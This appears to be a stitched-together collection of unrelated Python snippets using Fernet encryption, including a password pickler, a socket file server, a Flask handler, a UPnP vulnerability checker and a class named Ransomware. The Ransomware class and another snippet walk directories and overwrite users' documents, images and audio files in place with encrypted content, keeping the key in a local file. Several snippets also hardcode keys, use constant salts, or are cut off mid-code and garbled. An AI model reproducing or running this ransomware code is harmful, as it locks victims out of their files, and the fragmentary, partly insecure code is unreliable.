message_id, search_for) async def remove(self, message_id): message_id = str(message_id) async with self.pool.acquire() as conn: await conn.execute( "DELETE FROM cache_lookup WHERE message_id = $1;", message_id) async def bulk_remove(self, message_ids): async with self.pool.acquire() as conn: for message in message_ids: await conn.execute( "DELETE FROM cache_lookup WHERE message_id = $1;", str(message))
def kriptirajTekstTajnimKljucem(self, kljuc, cistiTekst): kripter = Fernet(kljuc) kriptiraniTekst = kripter.encrypt(bytes( cistiTekst, encoding="utf8")).decode("utf-8") return kriptiraniTekst
"""def encrypt(message: bytes, key: bytes) -> bytes: return Fernet(key).encrypt(message) def decrypt(token: bytes, key: bytes) -> bytes: return Fernet(key).decrypt(token) """ infile = open('jeff.pkl', 'rb') z = pickle.load(infile) key = Fernet.generate_key() f = Fernet(key) e_userpass = z username = input("Username: "******"password: "******"Website: ") e_username = f.encrypt(username.encode()) e_password = f.encrypt(password.encode()) e_list = [b"Username: "******"Password: "******"Website: " + website] = e_list outfile = open("jeff.pkl", "wb") pickle.dump(e_userpass, outfile) outfile.close() infile = open('jeff.pkl', 'rb') z = pickle.load(infile) e_userpass = z j = [e_userpass[k] for k in e_userpass] for k in j: for q in k: f.decrypt(q) """for key, value in d_userpass.items(): print(key, ' : ', value)"""
#!/usr/bin/env python import os from cryptography.fernet import Fernet import keypass key = keypass.password2key() files = os.listdir(os.getcwd() + '/crypt/') os.chdir(os.getcwd() + '/crypt/') for i in files: fil = open(i, 'r') data = fil.read() fil.close() os.remove(os.getcwd() + '/' + i) f = Fernet(key) encryptdata = f.encrypt(data) fil = open(i + '.encrypt', 'w') fil.write(encryptdata) fil.close()
'service(s) found. do you want to continue to VERIFY if service(s) are vulnerable?' ) print( colored( 'Be careful: This operation needs Internet access and may transfer data about devices over network. Data encrypted on local and we can not see which services are vulnerable but ISPs and other elements may be able to inspect HTTP headers created by UPnP device. Because most of UPnPstack do not allow SSL connection we can not use it. ', 'red')) if input('Do you want to continue? y/N ') == 'y': ss = getsession(StrangerHost + ':' + StrangerPort + getSessionPath) key = Fernet.generate_key() f = Fernet(key) print( 'Symmetric random key for encryption:', key, ' We do not send this value to server so we can not see which services are vulnerable. All confirmation process is done on client side' ) for serv in services: path = StrangerHost + ':' + StrangerPort + putServicePath + f.encrypt( serv.encode()).decode() + '&token=' + ss if total_length != 0: path += "&additional=" path += "".join( random.choices(string.ascii_letters, k=total_length - len(path))) print('Calling stranger for ', serv, 'with path of length', str(len(path))) try: subscribe(serv, path) except: print(serv, path, ' failed') print(colored('\n Waiting 5 second for asynchronous requests', 'yellow')) time.sleep(5) vulnerabilityconfirmationpath = StrangerHost + ':' + StrangerPort + getVulnerableServicesPath + '&token=' + ss
class Comm: """ Send encrypted message to the Bumblebee """ def __init__(self, queue_name=None): # If queue_name was not given try lo load from file if not generate one if queue_name is None: self.queue_name = save_config_key("bumblebee.ini", "DEFAULT", "QueueName", str(uuid.uuid4())) # key is generated as byte convert to base64 so we can saved it in the config file key = Fernet.generate_key() self.key = save_config_key("bumblebee.ini", "DEFAULT", "Key", key.decode()) else: self.queue_name = queue_name keys_link = "<a href ='{FULL_DOMAIN}'> here</a>. ".format( FULL_DOMAIN=FULL_DOMAIN, SESSION=self.queue_name, KEY=self.key) direct_link = "<a target='_blank' href ='{FULL_DOMAIN}/?session={SESSION}&key={KEY}&view=0'>call bumblebee</a>".format( FULL_DOMAIN=FULL_DOMAIN, SESSION=self.queue_name, KEY=self.key) print_html( "Your connection keys are in bumblebee.ini. If you really care about privacy get your keys and put them" + keys_link + "If you are testing just " + direct_link) self.token = None self.f = Fernet(self.key) @staticmethod def _encode(val): return base64.b64encode(val).decode('utf-8') @staticmethod def _decode(val): return base64.b64decode(val.encode()) def _encrypt(self, message): # Convert to byte if necessary if not isinstance(message, (bytes, bytearray)): message = str(message).encode() return self.f.encrypt(message) def send(self, message): """ Send the info to the queue :param message: :return: """ logger.print(message) self.token = self._encrypt(self._compress(message)).decode() logger.print(message) try: headers = {'content-type': 'application/json'} data = json.dumps({ "username": self.queue_name, "data": self.token }) response = requests.post(END_POINT, data=data, headers=headers) # If the response was successful, no Exception will be raised response.raise_for_status() except HTTPError as http_err: print(f'HTTP error occurred: {http_err}') except Exception as err: print(f'Other error occurred: {err}') else: print('Send!') def _decrypt(self, token): return self.f.decrypt(token) def receive(self, token): return self._decompress(self._decrypt(token)) @staticmethod def _compress(message): """ Compress info using zlib :param message: :return: """ message = val_to_byte(message) return base64.b64encode(zlib.compress(message)) @staticmethod def _decompress(content): try: content = zlib.decompress(base64.b64decode(content)) except Exception: raise RuntimeError("Could not decode/unzip the contents") try: content = json.loads(content) except Exception: raise RuntimeError("Could interpret the unzipped contents") return content
class Client(threading.Thread): def __init__(self, server, s_server, client, addr): threading.Thread.__init__(self) self.client, self.addr = client, addr self.s_server = s_server self.server = server self.register_status = False self.delay = 0 def key_exchange(self): parameter_numbers = dh.DHParameterNumbers( 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, 2) parameter = parameter_numbers.parameters() private_key = parameter.generate_private_key() public_key = private_key.public_key() self.client.send( public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)) s_public_key = serialization.load_pem_public_key( self.client.recv(2048)) key = private_key.exchange(s_public_key) c_key = HKDF(algorithm=hashes.SHA256(), length=32, salt=None, info=b'exchange successfull').derive(key) c_key = base64.urlsafe_b64encode(c_key) self.fernet = Fernet(c_key) def wait(self): self.client.recv(1024) self.delay += self.delay * 2 + 2 self.client.send(self.fernet.encrypt(str(self.delay).encode())) for i in range(self.delay): self.client.send(self.fernet.encrypt(b'<wait>')) time.sleep(1) def register(self): self.client.send(self.fernet.encrypt(b'<success>')) query = sqlite3.connect( os.path.dirname(os.path.abspath(__file__)) + '\\database.db') query_cursor = query.cursor() name = self.fernet.decrypt(self.client.recv(2048)).decode() already_exist = query_cursor.execute( 'SELECT * FROM user WHERE username == (?)', (name, )).fetchall() if not already_exist: self.client.send(self.fernet.encrypt(b'<success>')) password = self.fernet.decrypt(self.client.recv(2048)).hex() self.virtual_storage = ''.join( random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) self.name = name information = (self.name, password, self.virtual_storage, 1) query_cursor.execute('INSERT INTO user VALUES(?,?,?,?)', information) query.commit() self.register_status = True os.mkdir(self.virtual_storage) os.mkdir(self.virtual_storage + '\\Filesys') self.client.send(self.fernet.encrypt(b'<success>')) else: query.rollback() self.client.send(self.fernet.encrypt(b'<fail>')) del query, query_cursor self.delay += self.delay * 2 + 2 self.register() def login(self): self.client.send(self.fernet.encrypt(b'<success>')) query = sqlite3.connect( os.path.dirname(os.path.abspath(__file__)) + '\\database.db') query_cursor = query.cursor() name = self.fernet.decrypt(self.client.recv(1024)).decode('utf-8') user = query_cursor.execute( 'SELECT * FROM user WHERE username = (?)', (name, )).fetchall() if user: self.client.send(self.fernet.encrypt(b'<success>')) self.client.recv(1024) if user[0][3] == 1: del query, query_cursor self.client.send(self.fernet.encrypt(b'<fail>')) self.wait() self.login() else: self.client.send(self.fernet.encrypt(b'<success>')) pwd = self.fernet.decrypt(self.client.recv(2048)).hex() if pwd == user[0][1]: self.name = name query_cursor.execute( 'UPDATE user SET activity=1 WHERE username = (?);', (self.name, )) query.commit() self.client.send(self.fernet.encrypt(b'<success>')) self.register_status = True self.virtual_storage = user[0][2] else: self.client.send(self.fernet.encrypt(b'<fail>')) del query, query_cursor self.wait() self.login() else: self.client.send(self.fernet.encrypt(b'<fail>')) del query, query_cursor self.wait() self.login() def file_system(self): if self.fernet.decrypt(self.client.recv(2048)) == b'<fail>': print('fail') return '' absolute_path = os.path.dirname(os.path.abspath( __file__)) + '\\' + self.virtual_storage + '\\Filesys' virtual_drive = 3 * (10**10) used = virtual_drive - os.path.getsize(absolute_path) open_files = { 'Filesys': { 'size': virtual_drive, 'used': used, 'sub': self.get_subtree(rel_path=absolute_path) } } self.client.send( self.fernet.encrypt(json.dumps(open_files).encode())) file_explorer_open = True while file_explorer_open: selection = self.fernet.decrypt( self.client.recv(4096)).decode() if selection == '<fail>': return '<fail>' selection = selection.split(',') path = selection[1].replace('<', '').replace('>', '') complete_path = absolute_path + path if selection[0] == '<send>': if os.path.exists(complete_path): if not os.path.isdir(complete_path): self.client.send(self.fernet.encrypt(b'<fail>')) else: filename = ''.join( random.choices(string.ascii_uppercase + string.ascii_lowercase, k=5)) while os.path.exists( os.path.dirname(complete_path) + '\\' + filename): filename = ''.join( random.choices(string.ascii_uppercase + string.ascii_lowercase, k=5)) self.client.send( self.fernet.encrypt(filename.encode())) return complete_path + '\\' + filename elif selection[0] == '<dir>': if os.path.exists(absolute_path + path): if not os.path.isdir(complete_path): self.client.send(self.fernet.encrypt(b'<fail>')) else: filename = ''.join( random.choices(string.ascii_uppercase + string.ascii_lowercase, k=5)) while os.path.exists( os.path.dirname(complete_path) + '\\' + filename): filename = ''.join( random.choices(string.ascii_uppercase + string.ascii_lowercase, k=5)) self.client.send( self.fernet.encrypt(filename.encode())) os.mkdir(complete_path + '\\' + filename) self.client.recv(1024) open_files = { 'Filesys': { 'size': virtual_drive, 'used': used, 'sub': self.get_subtree(rel_path=absolute_path) } } self.client.send( self.fernet.encrypt( json.dumps(open_files).encode())) elif selection[0] == '<receive>': complete_path = absolute_path + path if os.path.isdir(complete_path): self.client.send(self.fernet.encrypt(b'<fail>')) else: self.client.send(self.fernet.encrypt(b'<success>')) return complete_path elif selection[0] == '<delete>': if os.path.exists(complete_path): if os.path.isdir(complete_path): shutil.rmtree(complete_path) else: os.remove(complete_path) self.client.send(self.fernet.encrypt(b'<success>')) else: print('Not exists') self.client.send(self.fernet.encrypt(b'<fail>')) elif selection[0] == '<shutdown>': pass else: return '<>' return '' def get_subtree(self, rel_path='', count=0): subfolder = os.listdir(rel_path) temp = {} if subfolder: for i in subfolder: sub_subfolder = rel_path + '\\' + i count += 1 if os.path.isdir(sub_subfolder): if os.listdir(sub_subfolder): temp[os.path.basename(sub_subfolder)] = { 'size': os.path.getsize(sub_subfolder), 'sub': self.get_subtree(rel_path=sub_subfolder, count=count) } else: temp[os.path.basename(sub_subfolder)] = { 'size': os.path.getsize(sub_subfolder), 'sub': {} } else: temp[os.path.basename(sub_subfolder)] = { 'size': os.path.getsize(sub_subfolder) } return temp else: return [] def run(self): self.client.recv(1024) self.client.send(b'Connected!') self.key_exchange() while not self.register_status: try: options = self.fernet.decrypt(self.client.recv(1024)) if options == b'r': self.register() elif options == b'l': self.login() else: self.client.send(self.fernet.encrypt(b'<fail>')) except: print('A user with the IP ' + str(self.addr[0]) + ' disconnected!') break while self.register_status: try: options = self.fernet.decrypt(self.client.recv(1024)) if options == b'<send>': self.receive_file() elif options == b'<receive>': self.send_to_client() else: self.client.send(self.fernet.encrypt(b'<fail>')) except: self.register_status = False print('User ' + self.name + ' disconnected! (' + self.addr[0] + ')') def receive_file(self): self.client.send(self.fernet.encrypt(b'<success>')) if self.fernet.decrypt(self.client.recv(1024)) == b'<fail>': return '' filename = self.file_system() if filename == '<fail>': return '' self.client.send(self.fernet.encrypt(b'<success>')) buffer = self.fernet.decrypt( self.client.recv(1024)).decode('UTF-8') buffer = int(buffer) self.client.send(self.fernet.encrypt(b'<success>')) file_size = int( self.fernet.decrypt(self.client.recv(1024)).decode('UTF-8')) self.client.send(self.fernet.encrypt(b'<success>')) file_encrypt = open(filename, 'wb') self.client.send(self.fernet.encrypt(b'<success>')) file_src = self.client.recv(buffer) file_encrypt.write(file_src) total = len(file_src) while file_size > total: file_src = self.client.recv(buffer) file_encrypt.write(file_src) total += len(file_src) file_encrypt.close() self.client.send(self.fernet.encrypt(b'<success>')) def send_to_client(self): self.client.send(self.fernet.encrypt(b'<success>')) file_path = self.file_system() if file_path == '<fail>': return '' self.client.recv(1024) buffer = 1024 * 20 self.client.send(self.fernet.encrypt(str(buffer).encode())) self.client.recv(1024) file_size = os.path.getsize(file_path) self.client.send(self.fernet.encrypt(str(file_size).encode())) if self.fernet.decrypt(self.client.recv(1024)) == b'<fail>': print('Loading error!') return '' else: file = open(file_path, 'rb') file_src = file.read(buffer) self.client.send(file_src) while file_src: file_src = file.read(buffer) self.client.send(file_src) file.close()
def updateUserRegister(): try: if not validators.length( request.get_json()['username'].strip(), min=2) or not validators.length( request.get_json()['password'].strip(), min=2) or not validators.length( request.get_json()['fullName'].strip(), min=2) or not validators.length( request.get_json()['flatNo'].strip(), min=2) or not validators.email(request.get_json( )['emailId'].strip()) or not validators.length( request.get_json()['mobile'].strip(), min=2): task = {'status': 'All Fields are manditory'} res2 = json.dumps(task) res1 = json.loads(res2) response = make_response(res1, 400) response.headers.add('Access-Control-Allow-Origin', '*') return response dic = Dbconnection.DBConnection() today = datetime.now() key = Fernet.generate_key() f = Fernet(key) apartmentId = "ADADA" myquery = { 'apartmentId': apartmentId, 'username': request.get_json()['username'].strip() } print(myquery) #apartmentId = session.get('apartmentId') apartmentId = "ADADA" if apartmentId == "": print(apartmentId) task = {'status': 'redirect to login'} res2 = json.dumps(task) res1 = json.loads(res2) response = make_response(res1, 404) response.headers.add('Access-Control-Allow-Origin', '*') return response else: myUserJson = { '$set': { "apartmentId": apartmentId, "fullName": request.get_json()['fullName'].strip(), "username": request.get_json()['username'].strip(), "password": f.encrypt(bytes(request.get_json()['password'].strip())), "flatNo": request.get_json()['flatNo'], "emailId": request.get_json()['emailId'].strip(), "mobile": request.get_json()['mobile'].strip(), "type": request.get_json()['type'].strip(), "key": key, "createDate": str(today.strftime('%Y-%m-%d %H:%M:%S')) } } dic['user'].update_one(myquery, myUserJson) task = {'status': 'Success', "message": "Sucessfully Update"} res = json.dumps(task) res1 = json.loads(res) response = make_response(res1, 200) response.headers.add('Access-Control-Allow-Origin', '*') return response except BulkWriteError as e: task = {'status': 'Someting went wrong in post data %s' % e} res2 = json.dumps(task) res1 = json.loads(res2) response = make_response(res1, 404) response.headers.add('Access-Control-Allow-Origin', '*') return response
class Ransomware: def __init__(self, action, directory='.', keyfile='/tmp/fernet_key.txt'): ''' $ Declare encryption key variable $ Get directory to encrypt/decrypt $ Get name of file to store key ''' print("%s[+] Invoking Ransomware %s" % (fg(166), attr(0))) # --> Ferney key self.key = None # --> Fernet object self.linear_b = None # --> File extensions to encrypt self.file_ext_targets = ['.txt', '.jpeg', '.png', '.mp3', '.pdf'] # --> File where key is being stored if key exists in another file self.keyfile = keyfile # --> Directory that contains files we want to encrypt # --> Default directory is the current directory self.directory = directory # --> Cryptographic action to perform self.action = action def get_valid_files(self): ''' $ Find files that contain the extension specified in our file_ext_targets list $ Returns a list that contains valid files to encrypt ''' print('[+] Gathering all files with target file extensions') # --> List containing all files that end with the extensions # --> Defined in the file_ext_targets list valid_files_to_encrypt = [] # --> Os.walk will return an iterable that contains current working directory, # --> directories in the current directory, and all files in the current # --> directory for root, _, files in os.walk(self.directory): # --> all files in files list for file in files: file_extension = '.' # --> Get the extension of file file_extension += file.split('.')[-1] # --> Check if the extensions of the file are valid if file_extension in self.file_ext_targets: # --> Get full valid file path valid_file_path = os.path.join(root, file) # --> Append valid file path to valid files list valid_files_to_encrypt.append(valid_file_path) # --> return list of valid files return valid_files_to_encrypt def encrypt_or_decrypt(self, list_of_files): ''' $ Opening all files in the list of files argument $ and send the contents of these files to be encrypted ''' for file in list_of_files: # --> open input file with open(file, 'rb') as input_file: # --> read the files contents file_content = input_file.read().strip() # --> open output file with open(file, 'wb') as output_file: # --> If action is equal encrypt if self.action == 'encrypt': # ENCRYPT IT!!!! encrypted = self.encrypt_it(file, file_content) # --> write encrypted data back into file output_file.write(encrypted + b'\n') # --> If action is not encrypt else: # DECRYPT IT!!!! decrypted = self.decrypt_it(file, file_content) # --> write decrypted data back into file output_file.write(decrypted + b'\n') self.display_progres() def display_progres(self): progress_bar_info = '' # --> If the action variable is set to encrypt if self.action == 'encrypt': # --> Set the progress bar title to the following progress_bar_info = 'Files Encrypted' # --> If the action variable is set to decrypt else: # --> Set the progress bar title to the following progress_bar_info = 'Files Decrypted' # --> Display progress bar print('\n') for _ in tqdm(range(10000000), desc=progress_bar_info): pass print('\n') def store_key(self): ''' $ Store key in file ''' print('[+] Storing key in file') # --> Open file and write the key into it with open(self.keyfile, 'wb') as f: f.write(self.key) def get_key_from_file(self): ''' $ Retrieve a key from a file ''' self.key = open(self.keyfile, 'rb').read() def instantiate_fernet(self): # --> Attempt to generate Fernet object try: print( '%s[+] Instantiating Fernet object for our cryptographic functions %s' % (fg(76), attr(0))) # --> Fernet object instantiation self.linear_b = Fernet(self.key) except: # --> If it fails print('[-] Unable to instantiate Fernet object for encryption') def key_gen(self): ''' $ Generate encryption/decryption key $ Instantiate Fernet object ''' print('[+] Generating Fernet key') # --> Generating key for encryption self.key = Fernet.generate_key() # --> Call method to store the previously generated key self.store_key() def encrypt_it(self, name_of_curr_file, data_to_encrypt): ''' $ Encrypting all files in the directory stored in the directory variable ''' print(f'%s[+] File to encrypt --> {name_of_curr_file} %s' % (fg(9), attr(0))) # --> Return the encrypted version of the contents of a file return self.linear_b.encrypt(data_to_encrypt) def decrypt_it(self, name_of_curr_file, data_to_decrypt): ''' $ Decrypt all files in the directory stored in the directory variable ''' print(f'%s[+] File to decrypt --> {name_of_curr_file} %s' % (fg(123), attr(0))) # --> Return the decrypted data of an encrypted file return self.linear_b.decrypt(data_to_decrypt)
def encrypt_string(string, key): cipher_suite = Fernet(key) cipher_text = cipher_suite.encrypt(string) return cipher_text
from cryptography.fernet import Fernet import json message = "my deep dark secret".encode( ) # .encode() is used to turn the string to bytes file = open('../key.key', 'rb') # Open the file as wb to read bytes key = file.read() # The key will be type bytes file.close() f = Fernet(key) encrypted = f.encrypt(message) decrypted = f.decrypt(encrypted) decrypted = decrypted.decode() print(decrypted) try: with open("clients.json", "r") as f: dictclient = json.load(f) except Exception: pass
from cryptography.fernet import Fernet cipher_key = Fernet.generate_key() print(cipher_key) cipher = Fernet(cipher_key) text = b'My super secret message' encrypted_text = cipher.encrypt(text) print(encrypted_text) decrypted_text = cipher.decrypt(encrypted_text) print(decrypted_text)
def encryptID(idNumber): # hide this line key= line in published source code key = "BrefO7pJTG2SRyg0PfaOCrz63vZBffGq9Iw-ftNmxFo=" f = Fernet(key) encrypt_value = f.encrypt(str(idNumber)) return (encrypt_value)
from cryptography.fernet import Fernet key_file = "D:/Python/Projects/api_extract/config_files/fernet_key.txt" with open(key_file, "r") as file: key = file.read() f = Fernet(key) token = f.encrypt(b"password here") print(token)
import pickle import cryptography from cryptography.fernet import Fernet infile = open('dubdub.pkl', 'rb') key = pickle.load(infile) key = Fernet(key) username = "******" + input("Username: "******"******" + input("Password: "******"username" username2 = username2.encode() username2 = key.encrypt(username2) password2 = "password" password2 = password2.encode() password2 = key.encrypt(password2) v = {"website": [username, password], "website2": [username2, password2]} outfile = open("test.pkl", "wb") pickle.dump(v, outfile) outfile.close() infile = open('test.pkl', 'rb') j = pickle.load(infile) a = [j[k] for k in j] for k in a: k[0] = key.decrypt(k[0]) k[1] = key.decrypt(k[1]) k[0] = k[0].decode() k[1] = k[1].decode()
#encrypt from cryptography.fernet import Fernet file = open('key.key', 'rb') key = file.read() file.close with open('secretFile.txt', 'rb') as f: data = f.read() fernet = Fernet(key) encrypted = fernet.encrypt(data) with open('secretFile.encrypted', 'wb') as f: f.write(encrypted) #decrypt from cryptography.fernet import Fernet file = open('key.key', 'rb') key = file.read() file.close with open('secretFile.encrypted', 'rb') as f: data = f.read() fernet = Fernet(key) encrypted = fernet.decrypt(data) with open('secretFile.decrypted', 'wb') as f:
async def authenticate(s, PORT): destId = lookup(s, PORT) if (destId == None): print("Authentication Error") return PORT = int(PORT) # send to KDC nonce1 = random.randint(0, 100) message = "Authenticate," + str(nonce1) + "," + ID + "," + destId s.sendto(message.encode(), (KDC_IP, KDC_SERVER_PORT)) # Recieve from KDC data, addr = s.recvfrom(BUFFER_SIZE) data = data.decode() data = data.split(',') if (data[0] != "Authenticated"): print("Authentication Error") return # nonce matching f = Fernet(SK) decodedData = f.decrypt(data[1].encode()) decodedData = decodedData.decode() decodedData = decodedData.split(',') if (nonce1 != int(decodedData[0])): print("Nonce Match Error") return # Send to File server nonce2 = random.randint(0, 100) sessKey = decodedData[2].encode() f = Fernet(sessKey) encryptedNonce2 = f.encrypt(str(nonce2).encode()) message = "Authenticate," + encryptedNonce2.decode() + "," + decodedData[3] s.sendto(message.encode(), ('127.0.0.1', PORT)) # Recieve from file server data, addr = s.recvfrom(BUFFER_SIZE) data = data.decode() data = data.split(',') if (data[0] != "Authenticate"): print("Authentication Error") return # nonce matching decodedData = f.decrypt(data[1].encode()) decodedData = decodedData.decode() decodedData = decodedData.split(',') if (nonce2 - 1 != int(decodedData[0])): print("Nonce Match Error") return # Send to file server for verification encryptedDestNonce = f.encrypt(str(int(decodedData[1]) - 1).encode()) message = "Authenticated," + encryptedDestNonce.decode() s.sendto(message.encode(), ('127.0.0.1', PORT)) # Recieve from file server authenticated data, addr = s.recvfrom(BUFFER_SIZE) data = data.decode() data = data.split(',') if (data[0] != "Authenticated"): print("Authentication Error") return global sessionKey sessionKey = sessKey
f.write(key) else: key = open('my_key.txt', 'rb').read() print(key) cipher = Fernet(key) encrypt_yes = True if encrypt_yes: with os.scandir(path=scan_dir_to_encrypt_decrypt) as it: for entry in it: if not entry.is_file(): print("dir:\t" + entry.name) else: read_file = open(scan_dir_to_encrypt_decrypt+entry.name, 'rb').read() encrypted_file_content = cipher.encrypt(read_file) with open(scan_dir_to_encrypt_decrypt+entry.name, 'wb') as f: f.write(encrypted_file_content) print("file encrypted:\t" + entry.name) else: with os.scandir(path=scan_dir_to_encrypt_decrypt) as it: for entry in it: if not entry.is_file(): print("dir:\t" + entry.name) else: encrypted_file_content = open(scan_dir_to_encrypt_decrypt+entry.name, 'rb').read() file_content = cipher.decrypt(encrypted_file_content) with open(scan_dir_to_encrypt_decrypt+entry.name, 'wb') as f: f.write(file_content) print("file decrypted:\t" + entry.name)
class EncryptedStringField(FormField): """ Enter/edit/store an encrypted string field initially tried django-encrypted-model-fields and django-fernet-fields but there are compaibility issues, and we wanted the ability to pass around the encrypted value and decrypt later https://cryptography.io/en/latest/fernet/#using-passwords-with-fernet https://stackoverflow.com/a/66191826/866759 """ def __init__(self, key, platform_name, default_value): super().__init__(key, platform_name, default_value) #Salt should ideally be from os.urandom, requires storing salt values somewhere #using a salt generated from user_id is less secure, but better than a constant self.f = None self.gen_salt(1234) #Start with a constant def gen_salt(self, seed=0, length=16): """Call this to generate a salt based on a provided seed integer""" random.seed(seed) salt = bytes([random.getrandbits(8) for i in range(length)]) self.setup(salt) def setup(self, salt): """Init the encryption using provided salt data (bytes)""" kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend()) #Our key is defined in settings.py from an environment var #(Using settings.SECRET_KEY fails in production because worker/webapp have differing values) key = base64.urlsafe_b64encode( kdf.derive(settings.ENCRYPTION_KEY.encode('utf-8'))) self.f = Fernet(key) def decrypt_value(self, value): """Decrypts a provided string using the active salt/key""" value = force_bytes(value) try: return force_text(self.f.decrypt(value)) except (InvalidToken) as e: logger.info("Invalid encrypted data!") return "" def get_encrypted_value(self, user_data_store): """Get the data without decryption, can use decrypt_value() later to decrypt when/as needed rather than passing around plaintext""" return user_data_store.get_string(self.field_id, default=self.default_value) def get_stored_value(self, user_data_store): encrypted = self.get_encrypted_value(user_data_store) if not encrypted: return None return self.decrypt_value(encrypted) def save_value(self, user_data_store, form): value = form.cleaned_data[self.field_id] encrypted = self.f.encrypt(bytes(value, 'utf-8')) user_data_store.set_string(self.field_id, force_text(encrypted))
recv_package(data) client = mqtt.Client() client.username_pw_set(username='******', password='******') client.tls_set('/etc/ssl/certs/DST_Root_CA_X3.pem', tls_version=ssl.PROTOCOL_TLSv1_2) # LWT status_lwt = json.dumps({ 'modem_status': 0, 'pop_status': 0, 'token': config['token'] }).encode() status_lwt = cipher.encrypt(status_lwt).decode() client.will_set(topic=topic_status, payload="Offline", qos=2, retain=True) client.on_connect = on_connect client.on_disconnect = on_disconnect client.on_message = on_message client.on_publish = on_publish client.connect(host=broken_url, port=broken_port, keepalive=10) client.subscribe(topic=topic_execute, qos=2) def main(): while True: try: # status_pack = json.dumps({'modem_status': 1, 'pop_status': read_status_pin(), 'token': config['token']}).encode()